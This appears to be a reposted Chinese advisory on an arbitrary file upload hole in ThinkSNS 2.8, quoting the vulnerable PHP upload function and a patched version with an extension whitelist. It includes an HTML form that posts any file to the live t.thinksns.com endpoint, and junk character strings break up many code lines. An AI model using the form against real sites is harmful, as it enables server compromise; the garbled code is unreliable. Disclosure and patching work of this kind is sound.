ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
1 ]# t; }1 J" T% _2 B+ t4 G
6 w0 _9 h3 e1 G, b6 w8 ^% R
\api\StatusesApi.class.php

; A7 Y7 o$ S% G. ?. Ffunction uploadpic(){
      if( $_FILES['pic'] ){
     //执行上传操作
: _8 O2 q1 r" ^- t( V6 g- O     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
$ y. G3 T7 a* I) n, E0 e# z        $result['boolen']    = 1;
# i* U6 H( H* j# H, D4 U  |        $result['type_data'] = 'temp/'.$filename;
& s$ i- @; V3 Z6 y  I) n        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
9 a" I9 n1 f& u5 t, E6 O        $result['boolen']    = 0;
" \/ Q1 {! T  f* _+ c" q) o        $result['message']   = '上传失败';
/ _: t4 \3 v2 ]$ a% l8 P! K       }
! K) Y0 _7 |( v$ X+ i% m2 j6 v     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
6 }# `& X9 t: k- p" c9 O5 freturn $result;
    }
5 |" W5 Q  Y4 a) N" i: i6 Eunloadpic()方法没有对文件类型进行验证

4 L/ O4 ~) l7 X- \! H可以构建表单, 选择任意文件, 提交到
  y# Y. O/ `4 G/index.php?app=w3g&mod=Index&act=doPost
+ M9 h% R- j' @6 _# M
) q0 K' g% e' q& i) x& d3 C0 e在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
1 B: L2 D/ L! Z- k

, l. j6 s( q! @+ _在登录thinksns官方微博后,
构建以下表单:

<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
<input type="submit" value="Post" />
</form>
6 q$ a7 n- D  `) m' {, `( f; A  C8 s( k去掉缩略图的前缀(small_ )
​修复方案：
/ q7 X$ k. r5 J1 j
( `8 k- ^1 g/ F2 I5 `  X
\api\StatusesApi.class.php

function uploadpic(){
, {0 G! _# P7 [) E3 s     /**
      * 20121018 @yelo
* Q$ c; c7 j5 h      * 增加上传类型验证
' |- \7 v" C: f( P* e- \  C      */
     $pathinfo = pathinfo($_FILES['pic']['name']);
0 O) j' b  X" {3 o% c- m9 ]     $ext = $pathinfo['extension'];
- v: M% a& \# Y9 h5 ]" K $allowExts = array('jpg', 'png', 'gif', 'jpeg');

0 E( F3 E6 @$ R; n0 h: o5 c3 r" ]$ s& k     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);

     if( $uploadCondition ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
. p9 q4 b5 s4 h4 n- u' `% d     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
) v8 {1 z( _9 G       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
) g2 j2 g' s- D/ z& M- Q; b        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
  K. b, A2 o9 @) D# E; W        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
- u! S4 y6 R+ P! l8 f9 m0 E- x: w     }else{
2 Q2 N6 v5 V3 e         $result['boolen']    = 0;
' ^6 d  l9 J0 H5 ?5 W, R7 f& F         $result['message']   = '上传失败';
" C! b9 ?0 R. T7 p. q     }
return $result;
- Q% F" [, ~2 Q$ L    }
3 C6 b0 V" F# R/ a​